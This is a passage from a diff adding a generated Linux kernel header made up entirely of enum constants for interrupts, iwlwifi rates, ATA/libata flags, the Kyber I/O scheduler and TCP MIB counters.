IRQ_TYPE_EDGE_FALLING = 2, + IRQ_TYPE_EDGE_BOTH = 3, + IRQ_TYPE_LEVEL_HIGH = 4, + IRQ_TYPE_LEVEL_LOW = 8, + IRQ_TYPE_LEVEL_MASK = 12, + IRQ_TYPE_SENSE_MASK = 15, + IRQ_TYPE_DEFAULT = 15, + IRQ_TYPE_PROBE = 16, + IRQ_LEVEL = 256, + IRQ_PER_CPU = 512, + IRQ_NOPROBE = 1024, + IRQ_NOREQUEST = 2048, + IRQ_NOAUTOEN = 4096, + IRQ_NO_BALANCING = 8192, + IRQ_MOVE_PCNTXT = 16384, + IRQ_NESTED_THREAD = 32768, + IRQ_NOTHREAD = 65536, + IRQ_PER_CPU_DEVID = 131072, + IRQ_IS_POLLED = 262144, + IRQ_DISABLE_UNLAZY = 524288, + IRQ_HIDDEN = 1048576, + IRQ_NO_DEBUG = 2097152, +}; + +enum { + IWL_CALIB_ENABLE_ALL = 0, + IWL_SENSITIVITY_CALIB_DISABLED = 1, + IWL_CHAIN_NOISE_CALIB_DISABLED = 2, + IWL_TX_POWER_CALIB_DISABLED = 4, + IWL_CALIB_DISABLE_ALL = 4294967295, +}; + +enum { + IWL_FIRST_OFDM_RATE = 4, + IWL_LAST_OFDM_RATE = 12, + IWL_FIRST_CCK_RATE = 0, + IWL_LAST_CCK_RATE = 3, +}; + +enum { + IWL_PHY_CALIBRATE_DC_CMD = 8, + IWL_PHY_CALIBRATE_LO_CMD = 9, + IWL_PHY_CALIBRATE_TX_IQ_CMD = 11, + IWL_PHY_CALIBRATE_CRYSTAL_FRQ_CMD = 15, + IWL_PHY_CALIBRATE_BASE_BAND_CMD = 16, + IWL_PHY_CALIBRATE_TX_IQ_PERD_CMD = 17, + IWL_PHY_CALIBRATE_TEMP_OFFSET_CMD = 18, +}; + +enum { + IWL_RATE_1M_INDEX = 0, + IWL_RATE_2M_INDEX = 1, + IWL_RATE_5M_INDEX = 2, + IWL_RATE_11M_INDEX = 3, + IWL_RATE_6M_INDEX = 4, + IWL_RATE_9M_INDEX = 5, + IWL_RATE_12M_INDEX = 6, + IWL_RATE_18M_INDEX = 7, + IWL_RATE_24M_INDEX = 8, + IWL_RATE_36M_INDEX = 9, + IWL_RATE_48M_INDEX = 10, + IWL_RATE_54M_INDEX = 11, + IWL_RATE_60M_INDEX = 12, + IWL_RATE_COUNT = 13, + IWL_RATE_COUNT_LEGACY = 12, + IWL_RATE_INVM_INDEX = 13, + IWL_RATE_INVALID = 13, +}; + +enum { + IWL_RATE_1M_INDEX___2 = 0, + IWL_FIRST_CCK_RATE___2 = 0, + IWL_RATE_2M_INDEX___2 = 1, + IWL_RATE_5M_INDEX___2 = 2, + IWL_RATE_11M_INDEX___2 = 3, + IWL_LAST_CCK_RATE___2 = 3, + IWL_RATE_6M_INDEX___2 = 4, + IWL_FIRST_OFDM_RATE___2 = 4, + IWL_RATE_MCS_0_INDEX = 4, + IWL_FIRST_HT_RATE = 4, + IWL_FIRST_VHT_RATE = 4, + IWL_RATE_9M_INDEX___2 = 5, + IWL_RATE_12M_INDEX___2 = 6, + IWL_RATE_MCS_1_INDEX = 6, + IWL_RATE_18M_INDEX___2 = 7, + IWL_RATE_MCS_2_INDEX = 7, + IWL_RATE_24M_INDEX___2 = 8, + IWL_RATE_MCS_3_INDEX = 8, + IWL_RATE_36M_INDEX___2 = 9, + IWL_RATE_MCS_4_INDEX = 9, + IWL_RATE_48M_INDEX___2 = 10, + IWL_RATE_MCS_5_INDEX = 10, + IWL_RATE_54M_INDEX___2 = 11, + IWL_RATE_MCS_6_INDEX = 11, + IWL_LAST_NON_HT_RATE = 11, + IWL_RATE_60M_INDEX___2 = 12, + IWL_RATE_MCS_7_INDEX = 12, + IWL_LAST_HT_RATE = 12, + IWL_RATE_MCS_8_INDEX = 13, + IWL_RATE_MCS_9_INDEX = 14, + IWL_LAST_VHT_RATE = 14, + IWL_RATE_MCS_10_INDEX = 15, + IWL_RATE_MCS_11_INDEX = 16, + IWL_LAST_HE_RATE = 16, + IWL_RATE_COUNT_LEGACY___2 = 12, + IWL_RATE_COUNT___2 = 17, + IWL_RATE_INVM_INDEX___2 = 17, + IWL_RATE_INVALID___2 = 17, +}; + +enum { + IWL_RATE_6M_PLCP = 13, + IWL_RATE_9M_PLCP = 15, + IWL_RATE_12M_PLCP = 5, + IWL_RATE_18M_PLCP = 7, + IWL_RATE_24M_PLCP = 9, + IWL_RATE_36M_PLCP = 11, + IWL_RATE_48M_PLCP = 1, + IWL_RATE_54M_PLCP = 3, + IWL_RATE_1M_PLCP = 10, + IWL_RATE_2M_PLCP = 20, + IWL_RATE_5M_PLCP = 55, + IWL_RATE_11M_PLCP = 110, + IWL_RATE_INVM_PLCP = -1, +}; + +enum { + IWL_RATE_6M_PLCP___2 = 13, + IWL_RATE_9M_PLCP___2 = 15, + IWL_RATE_12M_PLCP___2 = 5, + IWL_RATE_18M_PLCP___2 = 7, + IWL_RATE_24M_PLCP___2 = 9, + IWL_RATE_36M_PLCP___2 = 11, + IWL_RATE_48M_PLCP___2 = 1, + IWL_RATE_54M_PLCP___2 = 3, + IWL_RATE_60M_PLCP = 3, + IWL_RATE_1M_PLCP___2 = 10, + IWL_RATE_2M_PLCP___2 = 20, + IWL_RATE_5M_PLCP___2 = 55, + IWL_RATE_11M_PLCP___2 = 110, +}; + +enum { + IWL_RATE_SISO_6M_PLCP = 0, + IWL_RATE_SISO_12M_PLCP = 1, + IWL_RATE_SISO_18M_PLCP = 2, + IWL_RATE_SISO_24M_PLCP = 3, + IWL_RATE_SISO_36M_PLCP = 4, + IWL_RATE_SISO_48M_PLCP = 5, + IWL_RATE_SISO_54M_PLCP = 6, + IWL_RATE_SISO_60M_PLCP = 7, + IWL_RATE_MIMO2_6M_PLCP = 8, + IWL_RATE_MIMO2_12M_PLCP = 9, + IWL_RATE_MIMO2_18M_PLCP = 10, + IWL_RATE_MIMO2_24M_PLCP = 11, + IWL_RATE_MIMO2_36M_PLCP = 12, + IWL_RATE_MIMO2_48M_PLCP = 13, + IWL_RATE_MIMO2_54M_PLCP = 14, + IWL_RATE_MIMO2_60M_PLCP = 15, + IWL_RATE_MIMO3_6M_PLCP = 16, + IWL_RATE_MIMO3_12M_PLCP = 17, + IWL_RATE_MIMO3_18M_PLCP = 18, + IWL_RATE_MIMO3_24M_PLCP = 19, + IWL_RATE_MIMO3_36M_PLCP = 20, + IWL_RATE_MIMO3_48M_PLCP = 21, + IWL_RATE_MIMO3_54M_PLCP = 22, + IWL_RATE_MIMO3_60M_PLCP = 23, + IWL_RATE_SISO_INVM_PLCP = 24, + IWL_RATE_MIMO2_INVM_PLCP = 24, + IWL_RATE_MIMO3_INVM_PLCP = 24, +}; + +enum { + I_DATA_SEM_NORMAL = 0, + I_DATA_SEM_OTHER = 1, + I_DATA_SEM_QUOTA = 2, + I_DATA_SEM_EA = 3, +}; + +enum { + I_LCOEF_RBPS = 0, + I_LCOEF_RSEQIOPS = 1, + I_LCOEF_RRANDIOPS = 2, + I_LCOEF_WBPS = 3, + I_LCOEF_WSEQIOPS = 4, + I_LCOEF_WRANDIOPS = 5, + NR_I_LCOEFS = 6, +}; + +enum { + K2_FLAG_SATA_8_PORTS = 16777216, + K2_FLAG_NO_ATAPI_DMA = 33554432, + K2_FLAG_BAR_POS_3 = 67108864, + K2_SATA_TF_CMD_OFFSET = 0, + K2_SATA_TF_DATA_OFFSET = 0, + K2_SATA_TF_ERROR_OFFSET = 4, + K2_SATA_TF_NSECT_OFFSET = 8, + K2_SATA_TF_LBAL_OFFSET = 12, + K2_SATA_TF_LBAM_OFFSET = 16, + K2_SATA_TF_LBAH_OFFSET = 20, + K2_SATA_TF_DEVICE_OFFSET = 24, + K2_SATA_TF_CMDSTAT_OFFSET = 28, + K2_SATA_TF_CTL_OFFSET = 32, + K2_SATA_DMA_CMD_OFFSET = 48, + K2_SATA_SCR_STATUS_OFFSET = 64, + K2_SATA_SCR_ERROR_OFFSET = 68, + K2_SATA_SCR_CONTROL_OFFSET = 72, + K2_SATA_SICR1_OFFSET = 128, + K2_SATA_SICR2_OFFSET = 132, + K2_SATA_SIM_OFFSET = 136, + K2_SATA_PORT_OFFSET = 256, + chip_svw4 = 0, + chip_svw8 = 1, + chip_svw42 = 2, + chip_svw43 = 3, +}; + +enum { + KBUF_MODE_EXPAND = 1, + KBUF_MODE_FREE = 2, +}; + +enum { + KERNEL_PARAM_FL_UNSAFE = 1, + KERNEL_PARAM_FL_HWPARAM = 2, +}; + +enum { + KERNEL_PARAM_OPS_FL_NOARG = 1, +}; + +enum { + KF_ARG_DYNPTR_ID = 0, + KF_ARG_LIST_HEAD_ID = 1, + KF_ARG_LIST_NODE_ID = 2, + KF_ARG_RB_ROOT_ID = 3, + KF_ARG_RB_NODE_ID = 4, + KF_ARG_WORKQUEUE_ID = 5, +}; + +enum { + KTW_FREEZABLE = 1, +}; + +enum { + KYBER_ASYNC_PERCENT = 75, +}; + +enum { + KYBER_LATENCY_SHIFT = 2, + KYBER_GOOD_BUCKETS = 4, + KYBER_LATENCY_BUCKETS = 8, +}; + +enum { + KYBER_READ = 0, + KYBER_WRITE = 1, + KYBER_DISCARD = 2, + KYBER_OTHER = 3, + KYBER_NUM_DOMAINS = 4, +}; + +enum { + KYBER_TOTAL_LATENCY = 0, + KYBER_IO_LATENCY = 1, +}; + +enum { + LAST_NORM = 0, + LAST_ROOT = 1, + LAST_DOT = 2, + LAST_DOTDOT = 3, +}; + +enum { + LAT_OK = 1, + LAT_UNKNOWN = 2, + LAT_UNKNOWN_WRITES = 3, + LAT_EXCEEDED = 4, +}; + +enum { + LBR_FORMAT_32 = 0, + LBR_FORMAT_LIP = 1, + LBR_FORMAT_EIP = 2, + LBR_FORMAT_EIP_FLAGS = 3, + LBR_FORMAT_EIP_FLAGS2 = 4, + LBR_FORMAT_INFO = 5, + LBR_FORMAT_TIME = 6, + LBR_FORMAT_INFO2 = 7, + LBR_FORMAT_MAX_KNOWN = 7, +}; + +enum { + LBR_NONE = 0, + LBR_VALID = 1, +}; + +enum { + LCOEF_RPAGE = 0, + LCOEF_RSEQIO = 1, + LCOEF_RRANDIO = 2, + LCOEF_WPAGE = 3, + LCOEF_WSEQIO = 4, + LCOEF_WRANDIO = 5, + NR_LCOEFS = 6, +}; + +enum { + LDISC_SEM_NORMAL = 0, + LDISC_SEM_OTHER = 1, +}; + +enum { + LIBATA_MAX_PRD = 128, + LIBATA_DUMB_MAX_PRD = 64, + ATA_DEF_QUEUE = 1, + ATA_MAX_QUEUE = 32, + ATA_TAG_INTERNAL = 32, + ATA_SHORT_PAUSE = 16, + ATAPI_MAX_DRAIN = 16384, + ATA_ALL_DEVICES = 3, + ATA_SHT_EMULATED = 1, + ATA_SHT_THIS_ID = -1, + ATA_TFLAG_LBA48 = 1, + ATA_TFLAG_ISADDR = 2, + ATA_TFLAG_DEVICE = 4, + ATA_TFLAG_WRITE = 8, + ATA_TFLAG_LBA = 16, + ATA_TFLAG_FUA = 32, + ATA_TFLAG_POLLING = 64, + ATA_DFLAG_LBA = 1, + ATA_DFLAG_LBA48 = 2, + ATA_DFLAG_CDB_INTR = 4, + ATA_DFLAG_NCQ = 8, + ATA_DFLAG_FLUSH_EXT = 16, + ATA_DFLAG_ACPI_PENDING = 32, + ATA_DFLAG_ACPI_FAILED = 64, + ATA_DFLAG_AN = 128, + ATA_DFLAG_TRUSTED = 256, + ATA_DFLAG_FUA = 512, + ATA_DFLAG_DMADIR = 1024, + ATA_DFLAG_NCQ_SEND_RECV = 2048, + ATA_DFLAG_NCQ_PRIO = 4096, + ATA_DFLAG_CDL = 8192, + ATA_DFLAG_CFG_MASK = 16383, + ATA_DFLAG_PIO = 16384, + ATA_DFLAG_NCQ_OFF = 32768, + ATA_DFLAG_SLEEPING = 65536, + ATA_DFLAG_DUBIOUS_XFER = 131072, + ATA_DFLAG_NO_UNLOAD = 262144, + ATA_DFLAG_UNLOCK_HPA = 524288, + ATA_DFLAG_INIT_MASK = 1048575, + ATA_DFLAG_NCQ_PRIO_ENABLED = 1048576, + ATA_DFLAG_CDL_ENABLED = 2097152, + ATA_DFLAG_RESUMING = 4194304, + ATA_DFLAG_DETACH = 16777216, + ATA_DFLAG_DETACHED = 33554432, + ATA_DFLAG_DA = 67108864, + ATA_DFLAG_DEVSLP = 134217728, + ATA_DFLAG_ACPI_DISABLED = 268435456, + ATA_DFLAG_D_SENSE = 536870912, + ATA_DFLAG_ZAC = 1073741824, + ATA_DFLAG_FEATURES_MASK = 201341696, + ATA_DEV_UNKNOWN = 0, + ATA_DEV_ATA = 1, + ATA_DEV_ATA_UNSUP = 2, + ATA_DEV_ATAPI = 3, + ATA_DEV_ATAPI_UNSUP = 4, + ATA_DEV_PMP = 5, + ATA_DEV_PMP_UNSUP = 6, + ATA_DEV_SEMB = 7, + ATA_DEV_SEMB_UNSUP = 8, + ATA_DEV_ZAC = 9, + ATA_DEV_ZAC_UNSUP = 10, + ATA_DEV_NONE = 11, + ATA_LFLAG_NO_HRST = 2, + ATA_LFLAG_NO_SRST = 4, + ATA_LFLAG_ASSUME_ATA = 8, + ATA_LFLAG_ASSUME_SEMB = 16, + ATA_LFLAG_ASSUME_CLASS = 24, + ATA_LFLAG_NO_RETRY = 32, + ATA_LFLAG_DISABLED = 64, + ATA_LFLAG_SW_ACTIVITY = 128, + ATA_LFLAG_NO_LPM = 256, + ATA_LFLAG_RST_ONCE = 512, + ATA_LFLAG_CHANGED = 1024, + ATA_LFLAG_NO_DEBOUNCE_DELAY = 2048, + ATA_FLAG_SLAVE_POSS = 1, + ATA_FLAG_SATA = 2, + ATA_FLAG_NO_LPM = 4, + ATA_FLAG_NO_LOG_PAGE = 32, + ATA_FLAG_NO_ATAPI = 64, + ATA_FLAG_PIO_DMA = 128, + ATA_FLAG_PIO_LBA48 = 256, + ATA_FLAG_PIO_POLLING = 512, + ATA_FLAG_NCQ = 1024, + ATA_FLAG_NO_POWEROFF_SPINDOWN = 2048, + ATA_FLAG_NO_HIBERNATE_SPINDOWN = 4096, + ATA_FLAG_DEBUGMSG = 8192, + ATA_FLAG_FPDMA_AA = 16384, + ATA_FLAG_IGN_SIMPLEX = 32768, + ATA_FLAG_NO_IORDY = 65536, + ATA_FLAG_ACPI_SATA = 131072, + ATA_FLAG_AN = 262144, + ATA_FLAG_PMP = 524288, + ATA_FLAG_FPDMA_AUX = 1048576, + ATA_FLAG_EM = 2097152, + ATA_FLAG_SW_ACTIVITY = 4194304, + ATA_FLAG_NO_DIPM = 8388608, + ATA_FLAG_SAS_HOST = 16777216, + ATA_PFLAG_EH_PENDING = 1, + ATA_PFLAG_EH_IN_PROGRESS = 2, + ATA_PFLAG_FROZEN = 4, + ATA_PFLAG_RECOVERED = 8, + ATA_PFLAG_LOADING = 16, + ATA_PFLAG_SCSI_HOTPLUG = 64, + ATA_PFLAG_INITIALIZING = 128, + ATA_PFLAG_RESETTING = 256, + ATA_PFLAG_UNLOADING = 512, + ATA_PFLAG_UNLOADED = 1024, + ATA_PFLAG_RESUMING = 65536, + ATA_PFLAG_SUSPENDED = 131072, + ATA_PFLAG_PM_PENDING = 262144, + ATA_PFLAG_INIT_GTM_VALID = 524288, + ATA_PFLAG_PIO32 = 1048576, + ATA_PFLAG_PIO32CHANGE = 2097152, + ATA_PFLAG_EXTERNAL = 4194304, + ATA_QCFLAG_ACTIVE = 1, + ATA_QCFLAG_DMAMAP = 2, + ATA_QCFLAG_RTF_FILLED = 4, + ATA_QCFLAG_IO = 8, + ATA_QCFLAG_RESULT_TF = 16, + ATA_QCFLAG_CLEAR_EXCL = 32, + ATA_QCFLAG_QUIET = 64, + ATA_QCFLAG_RETRY = 128, + ATA_QCFLAG_HAS_CDL = 256, + ATA_QCFLAG_EH = 65536, + ATA_QCFLAG_SENSE_VALID = 131072, + ATA_QCFLAG_EH_SCHEDULED = 262144, + ATA_QCFLAG_EH_SUCCESS_CMD = 524288, + ATA_HOST_SIMPLEX = 1, + ATA_HOST_STARTED = 2, + ATA_HOST_PARALLEL_SCAN = 4, + ATA_HOST_IGNORE_ATA = 8, + ATA_HOST_NO_PART = 16, + ATA_HOST_NO_SSC = 32, + ATA_HOST_NO_DEVSLP = 64, + ATA_TMOUT_BOOT = 30000, + ATA_TMOUT_BOOT_QUICK = 7000, + ATA_TMOUT_INTERNAL_QUICK = 5000, + ATA_TMOUT_MAX_PARK = 30000, + ATA_TMOUT_FF_WAIT_LONG = 2000, + ATA_TMOUT_FF_WAIT = 800, + ATA_WAIT_AFTER_RESET = 150, + ATA_TMOUT_PMP_SRST_WAIT = 10000, + ATA_TMOUT_SPURIOUS_PHY = 10000, + BUS_UNKNOWN = 0, + BUS_DMA = 1, + BUS_IDLE = 2, + BUS_NOINTR = 3, + BUS_NODATA = 4, + BUS_TIMER = 5, + BUS_PIO = 6, + BUS_EDD = 7, + BUS_IDENTIFY = 8, + BUS_PACKET = 9, + PORT_UNKNOWN = 0, + PORT_ENABLED = 1, + PORT_DISABLED = 2, + ATA_NR_PIO_MODES = 7, + ATA_NR_MWDMA_MODES = 5, + ATA_NR_UDMA_MODES = 8, + ATA_SHIFT_PIO = 0, + ATA_SHIFT_MWDMA = 7, + ATA_SHIFT_UDMA = 12, + ATA_SHIFT_PRIO = 6, + ATA_PRIO_HIGH = 2, + ATA_DMA_PAD_SZ = 4, + ATA_ERING_SIZE = 32, + ATA_DEFER_LINK = 1, + ATA_DEFER_PORT = 2, + ATA_EH_DESC_LEN = 80, + ATA_EH_REVALIDATE = 1, + ATA_EH_SOFTRESET = 2, + ATA_EH_HARDRESET = 4, + ATA_EH_RESET = 6, + ATA_EH_ENABLE_LINK = 8, + ATA_EH_PARK = 32, + ATA_EH_GET_SUCCESS_SENSE = 64, + ATA_EH_SET_ACTIVE = 128, + ATA_EH_PERDEV_MASK = 225, + ATA_EH_ALL_ACTIONS = 15, + ATA_EHI_HOTPLUGGED = 1, + ATA_EHI_NO_AUTOPSY = 4, + ATA_EHI_QUIET = 8, + ATA_EHI_NO_RECOVERY = 16, + ATA_EHI_DID_SOFTRESET = 65536, + ATA_EHI_DID_HARDRESET = 131072, + ATA_EHI_PRINTINFO = 262144, + ATA_EHI_SETMODE = 524288, + ATA_EHI_POST_SETMODE = 1048576, + ATA_EHI_DID_PRINT_QUIRKS = 2097152, + ATA_EHI_DID_RESET = 196608, + ATA_EHI_TO_SLAVE_MASK = 12, + ATA_EH_MAX_TRIES = 5, + ATA_LINK_RESUME_TRIES = 5, + ATA_EH_DEV_TRIES = 3, + ATA_EH_PMP_TRIES = 5, + ATA_EH_PMP_LINK_TRIES = 3, + SATA_PMP_RW_TIMEOUT = 3000, + ATA_EH_CMD_TIMEOUT_TABLE_SIZE = 8, + ATA_QUIRK_DIAGNOSTIC = 1, + ATA_QUIRK_NODMA = 2, + ATA_QUIRK_NONCQ = 4, + ATA_QUIRK_MAX_SEC_128 = 8, + ATA_QUIRK_BROKEN_HPA = 16, + ATA_QUIRK_DISABLE = 32, + ATA_QUIRK_HPA_SIZE = 64, + ATA_QUIRK_IVB = 128, + ATA_QUIRK_STUCK_ERR = 256, + ATA_QUIRK_BRIDGE_OK = 512, + ATA_QUIRK_ATAPI_MOD16_DMA = 1024, + ATA_QUIRK_FIRMWARE_WARN = 2048, + ATA_QUIRK_1_5_GBPS = 4096, + ATA_QUIRK_NOSETXFER = 8192, + ATA_QUIRK_BROKEN_FPDMA_AA = 16384, + ATA_QUIRK_DUMP_ID = 32768, + ATA_QUIRK_MAX_SEC_LBA48 = 65536, + ATA_QUIRK_ATAPI_DMADIR = 131072, + ATA_QUIRK_NO_NCQ_TRIM = 262144, + ATA_QUIRK_NOLPM = 524288, + ATA_QUIRK_WD_BROKEN_LPM = 1048576, + ATA_QUIRK_ZERO_AFTER_TRIM = 2097152, + ATA_QUIRK_NO_DMA_LOG = 4194304, + ATA_QUIRK_NOTRIM = 8388608, + ATA_QUIRK_MAX_SEC_1024 = 16777216, + ATA_QUIRK_MAX_TRIM_128M = 33554432, + ATA_QUIRK_NO_NCQ_ON_ATI = 67108864, + ATA_QUIRK_NO_ID_DEV_LOG = 134217728, + ATA_QUIRK_NO_LOG_DIR = 268435456, + ATA_QUIRK_NO_FUA = 536870912, + ATA_DMA_MASK_ATA = 1, + ATA_DMA_MASK_ATAPI = 2, + ATA_DMA_MASK_CFA = 4, + ATAPI_READ = 0, + ATAPI_WRITE = 1, + ATAPI_READ_CD = 2, + ATAPI_PASS_THRU = 3, + ATAPI_MISC = 4, + ATA_TIMING_SETUP = 1, + ATA_TIMING_ACT8B = 2, + ATA_TIMING_REC8B = 4, + ATA_TIMING_CYC8B = 8, + ATA_TIMING_8BIT = 14, + ATA_TIMING_ACTIVE = 16, + ATA_TIMING_RECOVER = 32, + ATA_TIMING_DMACK_HOLD = 64, + ATA_TIMING_CYCLE = 128, + ATA_TIMING_UDMA = 256, + ATA_TIMING_ALL = 511, + ATA_ACPI_FILTER_SETXFER = 1, + ATA_ACPI_FILTER_LOCK = 2, + ATA_ACPI_FILTER_DIPM = 4, + ATA_ACPI_FILTER_FPDMA_OFFSET = 8, + ATA_ACPI_FILTER_FPDMA_AA = 16, + ATA_ACPI_FILTER_DEFAULT = 7, +}; + +enum { + LINK_XSTATS_TYPE_UNSPEC = 0, + LINK_XSTATS_TYPE_BRIDGE = 1, + LINK_XSTATS_TYPE_BOND = 2, + __LINK_XSTATS_TYPE_MAX = 3, +}; + +enum { + LINUX_MIB_NUM = 0, + LINUX_MIB_SYNCOOKIESSENT = 1, + LINUX_MIB_SYNCOOKIESRECV = 2, + LINUX_MIB_SYNCOOKIESFAILED = 3, + LINUX_MIB_EMBRYONICRSTS = 4, + LINUX_MIB_PRUNECALLED = 5, + LINUX_MIB_RCVPRUNED = 6, + LINUX_MIB_OFOPRUNED = 7, + LINUX_MIB_OUTOFWINDOWICMPS = 8, + LINUX_MIB_LOCKDROPPEDICMPS = 9, + LINUX_MIB_ARPFILTER = 10, + LINUX_MIB_TIMEWAITED = 11, + LINUX_MIB_TIMEWAITRECYCLED = 12, + LINUX_MIB_TIMEWAITKILLED = 13, + LINUX_MIB_PAWSACTIVEREJECTED = 14, + LINUX_MIB_PAWSESTABREJECTED = 15, + LINUX_MIB_DELAYEDACKS = 16, + LINUX_MIB_DELAYEDACKLOCKED = 17, + LINUX_MIB_DELAYEDACKLOST = 18, + LINUX_MIB_LISTENOVERFLOWS = 19, + LINUX_MIB_LISTENDROPS = 20, + LINUX_MIB_TCPHPHITS = 21, + LINUX_MIB_TCPPUREACKS = 22, + LINUX_MIB_TCPHPACKS = 23, + LINUX_MIB_TCPRENORECOVERY = 24, + LINUX_MIB_TCPSACKRECOVERY = 25, + LINUX_MIB_TCPSACKRENEGING = 26, + LINUX_MIB_TCPSACKREORDER = 27, + LINUX_MIB_TCPRENOREORDER = 28, + LINUX_MIB_TCPTSREORDER = 29, + LINUX_MIB_TCPFULLUNDO = 30, + LINUX_MIB_TCPPARTIALUNDO = 31, + LINUX_MIB_TCPDSACKUNDO = 32, + LINUX_MIB_TCPLOSSUNDO = 33, + LINUX_MIB_TCPLOSTRETRANSMIT = 34, + LINUX_MIB_TCPRENOFAILURES = 35, + LINUX_MIB_TCPSACKFAILURES = 36, + LINUX_MIB_TCPLOSSFAILURES = 37, + LINUX_MIB_TCPFASTRETRANS = 38, + LINUX_MIB_TCPSLOWSTARTRETRANS = 39, + LINUX_MIB_TCPTIMEOUTS = 40, + LINUX_MIB_TCPLOSSPROBES = 41, + LINUX_MIB_TCPLOSSPROBERECOVERY = 42, + LINUX_MIB_TCPRENORECOVERYFAIL = 43, + LINUX_MIB_TCPSACKRECOVERYFAIL = 44, + LINUX_MIB_TCPRCVCOLLAPSED = 45, + LINUX_MIB_TCPDSACKOLDSENT = 46, + LINUX_MIB_TCPDSACKOFOSENT = 47, + LINUX_MIB_TCPDSACKRECV = 48, + LINUX_MIB_TCPDSACKOFORECV = 49, + LINUX_MIB_TCPABORTONDATA = 50, + LINUX_MIB_TCPABORTONCLOSE = 51, + LINUX_MIB_TCPABORTONMEMORY = 52, + LINUX_MIB_TCPABORTONTIMEOUT = 53, + LINUX_MIB_TCPABORTONLINGER = 54, + LINUX_MIB_TCPABORTFAILED = 55, + LINUX_MIB_TCPMEMORYPRESSURES = 56, + LINUX_MIB_TCPMEMORYPRESSURESCHRONO = 57, + LINUX_MIB_TCPSACKDISCARD = 58, + LINUX_MIB_TCPDSACKIGNOREDOLD = 59, + LINUX_MIB_TCPDSACKIGNOREDNOUNDO = 60, + LINUX_MIB_TCPSPURIOUSRTOS = 61, + LINUX_MIB_TCPMD5NOTFOUND = 62, + LINUX_MIB_TCPMD5UNEXPECTED = 63, + LINUX_MIB_TCPMD5FAILURE = 64, + LINUX_MIB_SACKSHIFTED = 65, + LINUX_MIB_SACKMERGED = 66, + LINUX_MIB_SACKSHIFTFALLBACK = 67, + LINUX_MIB_TCPBACKLOGDROP = 68, + LINUX_MIB_PFMEMALLOCDROP = 69, + LINUX_MIB_TCPMINTTLDROP = 70, + LINUX_MIB_TCPDEFERACCEPTDROP = 71, + LINUX_MIB_IPRPFILTER = 72, + LINUX_MIB_TCPTIMEWAITOVERFLOW = 73, + LINUX_MIB_TCPREQQFULLDOCOOKIES = 74, + LINUX_MIB_TCPREQQFULLDROP = 75, + LINUX_MIB_TCPRETRANSFAIL = 76, + LINUX_MIB_TCPRCVCOALESCE = 77, + LINUX_MIB_TCPBACKLOGCOALESCE = 78, + LINUX_MIB_TCPOFOQUEUE = 79, + LINUX_MIB_TCPOFODROP = 80, + LINUX_MIB_TCPOFOMERGE = 81, + LINUX_MIB_TCPCHALLENGEACK = 82, + LINUX_MIB_TCPSYNCHALLENGE = 83, + LINUX_MIB_TCPFASTOPENACTIVE = 84, + LINUX_MIB_TCPFASTOPENACTIVEFAIL = 85, + LINUX_MIB_TCPFASTOPENPASSIVE = 86, + LINUX_MIB_TCPFASTOPENPASSIVEFAIL = 87, + LINUX_MIB_TCPFASTOPENLISTENOVERFLOW = 88, + LINUX_MIB_TCPFASTOPENCOOKIEREQD = 89, + LINUX_MIB_TCPFASTOPENBLACKHOLE = 90, + LINUX_MIB_TCPSPURIOUS_RTX_HOSTQUEUES = 91, + LINUX_MIB_BUSYPOLLRXPACKETS = 92, + LINUX_MIB_TCPAUTOCORKING = 93, + LINUX_MIB_TCPFROMZEROWINDOWADV = 94, + LINUX_MIB_TCPTOZEROWINDOWADV = 95, + LINUX_MIB_TCPWANTZEROWINDOWADV = 96, + LINUX_MIB_TCPSYNRETRANS = 97, + LINUX_MIB_TCPORIGDATASENT = 98, + LINUX_MIB_TCPHYSTARTTRAINDETECT = 99, + LINUX_MIB_TCPHYSTARTTRAINCWND = 100, + LINUX_MIB_TCPHYSTARTDELAYDETECT = 101, + LINUX_MIB_TCPHYSTARTDELAYCWND = 102, + LINUX_MIB_TCPACKSKIPPEDSYNRECV = 103, + LINUX_MIB_TCPACKSKIPPEDPAWS = 104, + LINUX_MIB_TCPACKSKIPPEDSEQ = 105, + LINUX_MIB_TCPACKSKIPPEDFINWAIT2 = 106, + LINUX_MIB_TCPACKSKIPPEDTIMEWAIT = 107, + LINUX_MIB_TCPACKSKIPPEDCHALLENGE = 108, + LINUX_MIB_TCPWINPROBE = 109, + LINUX_MIB_TCPKEEPALIVE = 110, + LINUX_MIB_TCPMTUPFAIL = 111, + LINUX_MIB_TCPMTUPSUCCESS = 112, + LINUX_MIB_TCPDELIVERED = 113, + LINUX_MIB_TCPDELIVEREDCE = 114, + LINUX_MIB_TCPACKCOMPRESSED = 115, + LINUX_MIB_TCPZEROWINDOWDROP = 116, + LINUX_MIB_TCPRCVQDROP = 117, + LINUX_MIB_TCPWQUEUETOOBIG = 118, + LINUX_MIB_TCPFASTOPENPASSIVEALTKEY = 119, + LINUX_MIB_TCPTIMEOUTREHASH = 120, + LINUX_MIB_TCPDUPLICATEDATAREHASH = 121, + LINUX_MIB_TCPDSACKRECVSEGS = 122, + LINUX_MIB_TCPDSACKIGNOREDDUBIOUS = 123, + LINUX_MIB_TCPMIGRATEREQSUCCESS = 124, + LINUX_MIB_TCPMIGRATEREQFAILURE = 125, + LINUX_MIB_TCPPLBREHASH = 126, + LINUX_MIB_TCPAOREQUIRED = 127, + LINUX_MIB_TCPAOBAD = 128, + LINUX_MIB_TCPAOKEYNOTFOUND = 129, + LINUX_MIB_TCPAOGOOD = 130, + LINUX_MIB_TCPAODROPPEDICMPS = 131, + __LINUX_MIB_MAX = 132, +}; + +enum { + LMPM_CHICK_EXTENDED_ADDR_SPACE = 1, +}; + +enum { + LOCKF_USED_IN_HARDIRQ = 1, + LOCKF_USED_IN_HARDIRQ_READ = 2, + LOCKF_ENABLED_HARDIRQ = 4, + LOCKF_ENABLED_HARDIRQ_READ = 8, + LOCKF_USED_IN_SOFTIRQ = 16, + LOCKF_USED_IN_SOFTIRQ_READ = 32, + LOCKF_ENABLED_SOFTIRQ = 64, + LOCKF_ENABLED_SOFTIRQ_READ = 128, + LOCKF_USED = 256, + LOCKF_USED_READ = 512, +}; + +enum { + LOGIC_PIO_INDIRECT = 0, + LOGIC_PIO_CPU_MMIO = 1, +}; + +enum { + LOG_INODE_ALL = 0, + LOG_INODE_EXISTS = 1, +}; + +enum { + LOG_WALK_PIN_ONLY = 0, + LOG_WALK_REPLAY_INODES = 1, + LOG_WALK_REPLAY_DIR_INDEX = 2, + LOG_WALK_REPLAY_ALL = 3, +}; + +enum { + LO_FLAGS_READ_ONLY = 1, + LO_FLAGS_AUTOCLEAR = 4, + LO_FLAGS_PARTSCAN = 8, + LO_FLAGS_DIRECT_IO = 16, +}; + +enum { + 